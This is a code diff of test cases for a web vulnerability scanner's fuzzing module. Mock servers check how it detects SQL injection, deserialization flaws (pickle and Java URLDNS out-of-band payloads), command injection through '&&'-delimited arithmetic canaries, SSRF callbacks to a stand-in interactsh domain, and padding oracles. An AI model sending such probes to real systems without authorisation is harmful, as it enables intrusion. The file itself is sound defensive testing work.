+            <h1>0 search results found</h1>
+            <hr>
+        </section>
+        """
+            jitter = [0.1, 0.4, 0.15, 0.5, 0.2, 0.35, 0.45, 0.1, 0.3, 0.25]
+            idx = self.__class__._jitter_idx
+            sleep(jitter[idx % len(jitter)])
+            self.__class__._jitter_idx = idx + 1
+            return Response(sql_block, status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        self.__class__._jitter_idx = 0
+        await super().setup_after_prep(module_test)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING" and "SQL Injection" in e.data.get("description", ""):
+                raise AssertionError(
+                    f"False positive: finding emitted under jitter-only conditions: {e.data['description']}"
+                )
+
+
 # Serialization Module (Error Resolution)
 class Test_Lightfuzz_serial_errorresolution(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1097,8 +1772,10 @@ def check(self, module_test, events):
                         excavate_extracted_form_parameter_details = True
             if e.type == "FINDING":
                 if (
-                    e.data["description"]
-                    == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Technique: [Error Resolution (Baseline: [500]  -> Probe: [200] )] Serialization Payload: [dotnet_base64]"
+                    "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM]"
+                    in e.data["description"]
+                    and "Technique: [Error Resolution (Baseline: [500]  -> Probe: [200] )] Serialization Payload: [dotnet_base64]"
+                    in e.data["description"]
                 ):
                     lightfuzz_serial_detect_errorresolution = True
 
@@ -1177,6 +1854,9 @@ def check(self, module_test, events):
         lightfuzz_serial_detect_errorresolution = False
 
         for e in events:
+            print("@@@@")
+            print(e.type)
+            print(e.data)
             if e.type == "WEB_PARAMETER":
                 if e.data["name"] == "TextBox1":
                     excavate_extracted_form_parameter = True
@@ -1197,8 +1877,10 @@ def check(self, module_test, events):
                 if e.data["description"] == "HTTP response (body) contains a possible serialized object (DOTNET)":
                     excavate_detect_serialization_value = True
                 if (
-                    e.data["description"]
-                    == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==] Technique: [Error Resolution (Baseline: [500]  -> Probe: [200] )] Serialization Payload: [dotnet_base64]"
+                    "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==]"
+                    in e.data["description"]
+                    and "Technique: [Error Resolution (Baseline: [500]  -> Probe: [200] )] Serialization Payload: [dotnet_base64]"
+                    in e.data["description"]
                 ):
                     lightfuzz_serial_detect_errorresolution = True
 
@@ -1328,10 +2010,232 @@ def check(self, module_test, events):
         assert finding_count == 0, "Unexpected FINDING events reported"
 
 
+# Serialization Module (Error Resolution - Transient Baseline)
+# Simulates a server that returns 500 on the first request (baseline), then 200 for everything after.
+# The confirmation re-send of the control payload should catch this and suppress the finding.
+class Test_Lightfuzz_serial_errorresolution_transient_baseline(Test_Lightfuzz_serial_errorresolution):
+    request_count = 0
+
+    def request_handler(self, request):
+        post_params = request.form
+
+        if "TextBox1" not in post_params.keys():
+            return Response(self.dotnet_serial_html, status=200)
+
+        self.request_count += 1
+        # First request (baseline) returns 500, all subsequent requests return 200
+        if self.request_count <= 1:
+            return Response(self.dotnet_serial_error, status=500)
+        else:
+            return Response("<html><body>OK</body></html>", status=200)
+
+    def check(self, module_test, events):
+        no_finding_emitted = True
+        for e in events:
+            if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""):
+                no_finding_emitted = False
+        assert no_finding_emitted, "False positive Error Resolution finding was emitted despite transient baseline"
+
+
+# Serialization Module (Error Resolution - Multi-Language Family False Positive)
+# Simulates a server where ALL serialization payloads resolve the error (500->200),
+# spanning multiple language families. The multi-family check should discard them all.
+class Test_Lightfuzz_serial_errorresolution_multi_language(Test_Lightfuzz_serial_errorresolution):
+    def request_handler(self, request):
+        post_params = request.form
+
+        if "TextBox1" not in post_params.keys():
+            return Response(self.dotnet_serial_html, status=200)
+
+        # __VIEWSTATE mismatch triggers the baseline path
+        if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP":
+            return Response(self.dotnet_serial_error, status=500)
+
+        # ALL payloads "resolve" the error - this is the false positive scenario
+        return Response("<html><body>OK</body></html>", status=200)
+
+    def check(self, module_test, events):
+        no_finding_emitted = True
+        for e in events:
+            if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""):
+                no_finding_emitted = False
+        assert no_finding_emitted, (
+            "False positive Error Resolution finding was emitted despite multiple language families triggering"
+        )
+
+
+class Test_Lightfuzz_serial_errorresolution_nonstandard_status(Test_Lightfuzz_serial_errorresolution):
+    """A baseline with a non-standard status code (>511, e.g. GlobalProtect's 512)
+    should not produce an Error Resolution finding even if the probe returns 200."""
+
+    def request_handler(self, request):
+        dotnet_serial_error_resolved = (
+            "<html><body>Deserialization successful! Object type: System.String</body></html>"
+        )
+        post_params = request.form
+
+        if "TextBox1" not in post_params.keys():
+            return Response(self.dotnet_serial_html, status=200)
+
+        else:
+            if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP":
+                # Non-standard status code (like GlobalProtect's 512)
+                return Response(self.dotnet_serial_error, status=512)
+            if post_params["TextBox1"] == "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==":
+                return Response(dotnet_serial_error_resolved, status=200)
+            else:
+                return Response(self.dotnet_serial_error, status=512)
+
+    def check(self, module_test, events):
+        no_finding_emitted = True
+        for e in events:
+            if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""):
+                no_finding_emitted = False
+        assert no_finding_emitted, (
+            "False positive Error Resolution finding was emitted for non-standard baseline status code (>511)"
+        )
+
+
+# Python pickle Error Resolution — verifies the new python_pickle_base64
+# payload flips a baseline UnpicklingError 500 into a 200, which is the
+# canonical detection path for all languages in the serial submodule.
+class Test_Lightfuzz_serial_python_pickle(Test_Lightfuzz_serial_errorresolution):
+    modules_overrides = ["http", "lightfuzz", "excavate", "paramminer_getparams"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["serial"]},
+            # Make paramminer discover the pklparam on /deser_pickle.
+            "paramminer_getparams": {"wordlist": "", "recycle_words": False, "skip_boring_words": True},
+        },
+    }
+
+    PICKLE_BENIGN_B64 = "gASVCAAAAAAAAACMBHRlc3SULg=="
+
+    # Seed value is `aTowOw==` — base64 of `i:0;` (PHP-serialized integer).
+    # bbot's envelope system detects the outer B64 envelope and would
+    # normally re-pack any outgoing probe as base64 again — which would
+    # double-encode serial's already-base64 payloads and break detection.
+    # Because serial sets `skip_envelopes = True`, the bypass kicks in and
+    # the raw outer value is forwarded to `is_possibly_serialized` (which
+    # accepts base64-looking strings) and probes are sent verbatim.
+    SEED_HREF = '<html><a href="/deser_pickle?pklparam=aTowOw==">pkl</a></html>'
+
+    async def setup_after_prep(self, module_test):
+        # Seed the parameter directly so the scan doesn't depend on
+        # paramminer discovering it.
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": self.SEED_HREF, "status": 200}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+        expect_args = re.compile("/deser_pickle")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def request_handler(self, request):
+        value = request.args.get("pklparam", "")
+        if value == self.PICKLE_BENIGN_B64:
+            return Response("<html>ok</html>", status=200)
+        return Response("<html>UnpicklingError: invalid pickle</html>", status=500)
+
+    def check(self, module_test, events):
+        pickle_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if (
+                    "POSSIBLE Unsafe Deserialization" in desc
+                    and "Serialization Payload: [python_pickle_base64]" in desc
+                ):
+                    pickle_finding = True
+        assert pickle_finding, "Python pickle Error Resolution FINDING not emitted"
+
+
+# Python pickle OOB (blind RCE) — verifies that the new pickle OOB payload
+# triggers an interactsh interaction when deserialized, giving a CONFIRMED
+# blind-RCE finding without needing response-body inspection.
+class Test_Lightfuzz_serial_pickle_interactsh(Test_Lightfuzz_serial_python_pickle):
+    config_overrides = {
+        "interactsh_disable": False,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["serial"]},
+        },
+    }
+
+    async def setup_before_prep(self, module_test):
+        self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz")
+
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
+
+    def request_handler(self, request):
+        import base64 as _b64
+        import re as _re
+
+        value = request.args.get("pklparam", "")
+        try:
+            decoded = _b64.b64decode(value)
+        except Exception:
+            decoded = b""
+        # Look for the interactsh subdomain tag embedded in the pickle bytes.
+        # The subdomain is UTF-8 in the pickle stream, so scan the raw bytes.
+        match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded)
+        if match:
+            tag = match.group(1).decode("ascii")
+            self.interactsh_mock_instance.mock_interaction(tag)
+        return Response("<html>ok</html>", status=200)
+
+    def check(self, module_test, events):
+        oob_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Python pickle OOB RCE (OOB Interaction)" in desc and "Payload: [python_pickle_oob]" in desc:
+                    oob_finding = True
+        assert oob_finding, "Python pickle OOB interactsh FINDING not emitted"
+
+
+# Java URLDNS OOB — verifies that the pure-Python URLDNS payload built
+# from scratch triggers an interactsh DNS lookup callback when a mock
+# "Java" endpoint "deserializes" it. Because the URLDNS gadget requires
+# only java.util.HashMap + java.net.URL (both stdlib), it fires against
+# any Java deserialization sink without depending on app-specific gadget
+# classes.
+class Test_Lightfuzz_serial_urldns_interactsh(Test_Lightfuzz_serial_pickle_interactsh):
+    def request_handler(self, request):
+        import base64 as _b64
+        import re as _re
+
+        value = request.args.get("pklparam", "")
+        try:
+            decoded = _b64.b64decode(value)
+        except Exception:
+            decoded = b""
+        # The URLDNS payload embeds the host string as a Java-modified-UTF
+        # with a 2-byte length prefix. The host bytes appear verbatim, so
+        # we can grep for the interactsh subdomain directly.
+        match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded)
+        if match:
+            tag = match.group(1).decode("ascii")
+            self.interactsh_mock_instance.mock_interaction(tag)
+        return Response("<html>ok</html>", status=200)
+
+    def check(self, module_test, events):
+        urldns_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Java URLDNS OOB (OOB Interaction)" in desc and "Payload: [java_urldns_oob]" in desc:
+                    urldns_finding = True
+        assert urldns_finding, "Java URLDNS OOB interactsh FINDING not emitted"
+
+
 # CMDi echo canary
 class Test_Lightfuzz_cmdi(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1356,13 +2260,20 @@ def request_handler(self, request):
             value = qs.split("=")[1]
             if "&" in value:
                 value = value.split("&")[0]
-            if "&& echo " in unquote(value):
-                cmdi_value = unquote(value).split("&& echo ")[1].split(" ")[0]
+            decoded = unquote(value)
+            # Simulate a Linux bash-family shell: evaluate $((A*B)) first so
+            # the arithmetic confirmation probe lands a product value, then
+            # fall back to plain-echo reflection for the generic probe.
+            arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded)
+            if arith:
+                cmdi_value = str(int(arith.group(1)) * int(arith.group(2)))
+            elif "&& echo " in decoded:
+                cmdi_value = decoded.split("&& echo ")[1].split(" ")[0]
             else:
-                cmdi_value = value
+                cmdi_value = decoded
             cmdi_block = f"""
         <section class=blog-header>
-            <h1>0 search results for '{unquote(cmdi_value)}'</h1>
+            <h1>0 search results for '{cmdi_value}'</h1>
             <hr>
         </section>
         """
@@ -1371,13 +2282,21 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        # Respect the numeric_only=True contract so int() conversions in the
+        # arithmetic canary path succeed. Non-numeric calls still receive the
+        # original deterministic letter string.
+        def rand_string(*args, **kwargs):
+            if kwargs.get("numeric_only"):
+                return "1234567890"
+            return "AAAAAAAAAAAAAA"
+
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
     def check(self, module_test, events):
         web_parameter_emitted = False
-        cmdi_echocanary_finding_emitted = False
+        cmdi_posix_arith_finding = False
         for e in events:
             if e.type == "WEB_PARAMETER":
                 if "HTTP Extracted Parameter [search]" in e.data["description"]:
@@ -1385,16 +2304,144 @@ def check(self, module_test, events):
 
             if e.type == "FINDING":
                 if (
-                    "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [echo canary] CMD Probe Delimeters: [&&]"
+                    "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [&&]"
                     in e.data["description"]
                 ):
-                    cmdi_echocanary_finding_emitted = True
+                    cmdi_posix_arith_finding = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert cmdi_posix_arith_finding, "POSIX arithmetic canary CMDi FINDING not emitted"
+
+
+# CMDi Windows `set /A` canary: simulates a cmd.exe target that evaluates
+# `set /A A*B` and prints the product. The arithmetic confirmation cascade
+# should land on the Windows arithmetic probe (after the POSIX probe returns
+# the literal) and emit a HIGH-confidence finding labeled as cmd.
+class Test_Lightfuzz_cmdi_windows(Test_Lightfuzz_cmdi):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Simulate cmd.exe: evaluate `set /A A*B` and print the product;
+            # reflect $((A*B)) literal (cmd doesn't expand POSIX arithmetic);
+            # reflect `echo X` args verbatim.
+            setA = re.search(r"&& set /A (\d+)\*(\d+) &&", decoded)
+            if setA:
+                result = int(setA.group(1)) * int(setA.group(2))
+                return Response(f"<section><h1>{result}</h1></section>", status=200)
+            if "&& echo " in decoded:
+                cmdi_value = decoded.split("&& echo ")[1].split(" ")[0]
+                return Response(
+                    f"<section><h1>0 search results for '{cmdi_value}'</h1></section>",
+                    status=200,
+                )
+            return Response(f"<section><h1>0 search results for '{decoded}'</h1></section>", status=200)
+        return Response(parameter_block, status=200)
 
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        windows_arith_finding = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [search]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if (
+                    "Detection Method: [arithmetic canary (cmd)]" in desc
+                    and "Parameter: [search]" in desc
+                    and "[&&]" in desc
+                ):
+                    windows_arith_finding = True
         assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
-        assert cmdi_echocanary_finding_emitted, "echo canary CMDi FINDING not emitted"
+        assert windows_arith_finding, "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted"
+
+
+# CMDi parser-error reflection: simulates a parser (SQL, JSON, YAML) that
+# reflects the probe's offending token back in its error. Under the three-
+# stage cascade this should NOT produce a "Possible Command Injection"
+# finding at all, because neither the POSIX `$((A*B))` nor the Windows
+# `set /A A*B` confirmation probe can coax a shell product out of a text
+# parser. Instead, a separate "Possible Parameter Reflection" finding is
+# emitted to preserve the adjacent-vuln signal without overclaiming cmdi.
+class Test_Lightfuzz_cmdi_parser_reflection_downgrade(Test_Lightfuzz_cmdi):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Real parsers only trip when a shell-style metachar breaks the
+            # surrounding syntax. Require a delimiter before the token so the
+            # AAAA false-positive probe does not accidentally reflect.
+            arith_match = re.search(r"[;|&]\s*echo\s+(\$\(\(\d+\*\d+\)\))", decoded)
+            if arith_match:
+                return Response(
+                    f'{{"error":"parse error near {arith_match.group(1)}"}}',
+                    status=500,
+                    mimetype="application/json",
+                )
+            setA_match = re.search(r"[;|&]\s*set\s*/A\s+(\d+\*\d+)", decoded)
+            if setA_match:
+                return Response(
+                    f'{{"error":"parse error near {setA_match.group(1)}"}}',
+                    status=500,
+                    mimetype="application/json",
+                )
+            generic_match = re.search(r"[;|&]\s*echo\s+(\d+)", decoded)
+            if generic_match:
+                return Response(
+                    f'{{"error":"parse error near {generic_match.group(1)}"}}',
+                    status=500,
+                    mimetype="application/json",
+                )
+            return Response('{"results":[]}', status=200, mimetype="application/json")
+        return Response(parameter_block, status=200)
+
+    def check(self, module_test, events):
+        cmdi_finding = False
+        reflection_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                name = e.data.get("name", "")
+                if "Command Injection" in name:
+                    cmdi_finding = True
+                if "Parameter Reflection" in name:
+                    reflection_finding = True
+
+        assert not cmdi_finding, (
+            "Parser-error reflection should NOT produce a Possible Command "
+            "Injection finding under the three-stage cascade (neither POSIX "
+            "nor Windows arithmetic probe can coax a product out of a text "
+            "parser)."
+        )
+        assert reflection_finding, (
+            "Expected a Possible Parameter Reflection finding for the "
+            "reflection-only detection path (preserves adjacent-vuln signal "
+            "without overclaiming cmdi)."
+        )
 
 
-# CMDi interactsh
 class Test_Lightfuzz_cmdi_interactsh(Test_Lightfuzz_cmdi):
     @staticmethod
     def extract_subdomain_tag(data):
@@ -1435,9 +2482,14 @@ def request_handler(self, request):
     async def setup_before_prep(self, module_test):
         self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz")
 
-        module_test.monkeypatch.setattr(
-            module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance
-        )
+        # Mock at the helper creation level BEFORE modules are set up
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        # Apply the mock to the core helpers so modules get the mock during setup
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
 
     async def setup_after_prep(self, module_test):
         expect_args = re.compile("/")
@@ -1451,7 +2503,7 @@ def check(self, module_test, events):
                 if "HTTP Extracted Parameter [search]" in e.data["description"]:
                     web_parameter_emitted = True
 
-            if e.type == "VULNERABILITY":
+            if e.type == "FINDING":
                 if (
                     "OS Command Injection (OOB Interaction) Type: [GETPARAM] Parameter Name: [search] Probe: [&&]"
                     in e.data["description"]
@@ -1462,15 +2514,100 @@ def check(self, module_test, events):
         assert cmdi_interacttsh_finding_emitted, "interactsh CMDi FINDING not emitted"
 
 
-class Test_Lightfuzz_speculative(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "paramminer_getparams", "lightfuzz"]
+# SSRF interactsh
+class Test_Lightfuzz_ssrf(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+
+    @staticmethod
+    def extract_subdomain_tag(data):
+        # Try both URL-encoded and non-encoded forms
+        for pattern in [
+            r"url=https?%3A%2F%2F(.+?)\.fakedomain\.fakeinteractsh\.com",
+            r"url=https?://(.+?)\.fakedomain\.fakeinteractsh\.com",
+        ]:
+            match = re.search(pattern, data)
+            if match:
+                return match.group(1)
+
     config_overrides = {
-        "interactsh_disable": True,
+        "interactsh_disable": False,
         "modules": {
-            "lightfuzz": {"enabled_submodules": ["xss"]},
-            "paramminer_getparams": {"wordlist": tempwordlist([]), "recycle_words": True},
-            "excavate": {"speculate_params": True},
+            "lightfuzz": {
+                "enabled_submodules": ["ssrf"],
+            }
+        },
+    }
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Enter URL...' name=url>
+                <button type=submit class=button>Fetch</button>
+            </form>
+        </section>
+        """
+
+        if "url=" in qs:
+            subdomain_tag = self.extract_subdomain_tag(request.full_path)
+
+            if subdomain_tag:
+                self.interactsh_mock_instance.mock_interaction(subdomain_tag)
+        return Response(parameter_block, status=200)
+
+    async def setup_before_prep(self, module_test):
+        self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz")
+
+        module_test.monkeypatch.setattr(
+            module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance
+        )
+
+    async def setup_after_prep(self, module_test):
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        ssrf_dns_finding_emitted = False
+        ssrf_http_finding_emitted = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [url]" in e.data["description"]:
+                    web_parameter_emitted = True
+
+            if e.type == "FINDING":
+                if (
+                    "Server-Side Request Forgery (OOB Interaction) Type: [GETPARAM] Parameter Name: [url]"
+                    in e.data["description"]
+                ):
+                    if "Interaction Protocol: [dns]" in e.data["description"]:
+                        ssrf_dns_finding_emitted = True
+                        assert e.data["confidence"] == "MEDIUM", (
+                            f"DNS SSRF should be MEDIUM, got {e.data['confidence']}"
+                        )
+                    elif "Interaction Protocol: [http]" in e.data["description"]:
+                        ssrf_http_finding_emitted = True
+                        assert e.data["confidence"] == "CONFIRMED", (
+                            f"HTTP SSRF should be CONFIRMED, got {e.data['confidence']}"
+                        )
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert ssrf_dns_finding_emitted, "interactsh SSRF DNS FINDING not emitted"
+        assert ssrf_http_finding_emitted, "interactsh SSRF HTTP FINDING not emitted"
+
+
+class Test_Lightfuzz_speculative(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "paramminer_getparams", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["xss"]},
+            "paramminer_getparams": {"wordlist": tempwordlist([]), "recycle_words": True},
+            "excavate": {"speculate_params": True},
         },
     }
 
@@ -1496,7 +2633,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200, headers={"Content-Type": "application/json"})
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -1519,7 +2658,7 @@ def check(self, module_test, events):
 
 class Test_Lightfuzz_crypto_error(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "lightfuzz"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1527,32 +2666,40 @@ class Test_Lightfuzz_crypto_error(ModuleTestBase):
         },
     }
 
+    canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67"
+
     def request_handler(self, request):
         qs = str(request.query_string.decode())
 
-        parameter_block = """
+        parameter_block = f"""
         <section class=secret>
             <form action=/ method=GET>
-                <input type=text value='08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67' name=secret>
+                <input type=text value='{self.canonical_value}' name=secret>
                 <button type=submit class=button>Secret Submit</button>
             </form>
         </section>
         """
         crypto_block = """
         <section class=blog-header>
-            <h1>Access Denied!</h1>
+            <h1>Padding is invalid</h1>
             <hr>
         </section>
         """
         if "secret=" in qs:
-            value = qs.split("=")[1]
+            value = qs.split("=", 1)[1].split("&")[0]
+            # Canonical ciphertext decrypts cleanly → normal page; any other value
+            # (truncation, mutation, garbage) → padding error.
+            if value == self.canonical_value:
+                return Response(parameter_block, status=200)
             if value:
                 return Response(crypto_block, status=200)
 
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -1576,7 +2723,7 @@ def check(self, module_test, events):
 
 class Test_Lightfuzz_crypto_error_falsepositive(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "lightfuzz"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1597,7 +2744,9 @@ def request_handler(self, request):
         return Response(fp_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -1620,7 +2769,7 @@ def check(self, module_test, events):
 
 class Test_Lightfuzz_PaddingOracleDetection(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "excavate", "lightfuzz"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1678,8 +2827,6 @@ def check(self, module_test, events):
                     == "Probable Cryptographic Parameter. Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Detection Technique(s): [Single-byte Mutation] Envelopes: [URL-Encoded]"
                 ):
                     cryptographic_parameter_finding = True
-
-            if e.type == "VULNERABILITY":
                 if (
                     e.data["description"]
                     == "Padding Oracle Vulnerability. Block size: [16] Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Envelopes: [URL-Encoded]"
@@ -1741,7 +2888,7 @@ def check(self, module_test, events):
                 ):
                     cryptographic_parameter_finding = True
 
-            if e.type == "VULNERABILITY":
+            if e.type == "FINDING":
                 if (
                     "Padding Oracle Vulnerability. Block size: [16]" in e.data["description"]
                     and "encrypted_data" in e.data["description"]
@@ -1755,7 +2902,7 @@ def check(self, module_test, events):
 
 class Test_Lightfuzz_PaddingOracleDetection_Noisy(Test_Lightfuzz_PaddingOracleDetection):
     """Padding oracle negative test: the server returns different responses for ~30 byte values,
-    which exceeds any valid block size. This should NOT produce a VULNERABILITY."""
+    which exceeds any valid block size. This should NOT produce a FINDING."""
 
     def request_handler(self, request):
         encrypted_value = quote(
@@ -1817,7 +2964,7 @@ def check(self, module_test, events):
                     and "encrypted_data" in e.data["description"]
                 ):
                     cryptographic_parameter_finding = True
-            if e.type == "VULNERABILITY":
+            if e.type == "FINDING":
                 if "Padding Oracle" in e.data["description"]:
                     padding_oracle_detected = True
 
@@ -1828,9 +2975,140 @@ def check(self, module_test, events):
         )
 
 
+class Test_Lightfuzz_PaddingOracleDetection_NarrowCharset(ModuleTestBase):
+    """Parameters with values that use a narrow consecutive character set (e.g. only A-P)
+    round-trip as valid base64 but are not actual cryptographic data.
+    The narrow charset check should reject these, preventing false findings."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["crypto"],
+            }
+        },
+    }
+
+    # A-P only value: valid base64 round-trip, but narrow charset (span=15)
+    narrow_charset_value = "BPIDFOPFGNLIBNFGAEPBMIIKPHEFGOJKOMACMBJJLOPKFIGMKALJDBHCMAMHIKIMDOFDHIBAHEJBIIGMIDKANCMFGJAIEKLPCLFDMELEAGBILMHLAPFKNNBAMPPNDEEP"
+
+    def request_handler(self, request):
+        return Response("<html><body><p>Welcome</p></body></html>", status=200)
+
+    async def setup_after_prep(self, module_test):
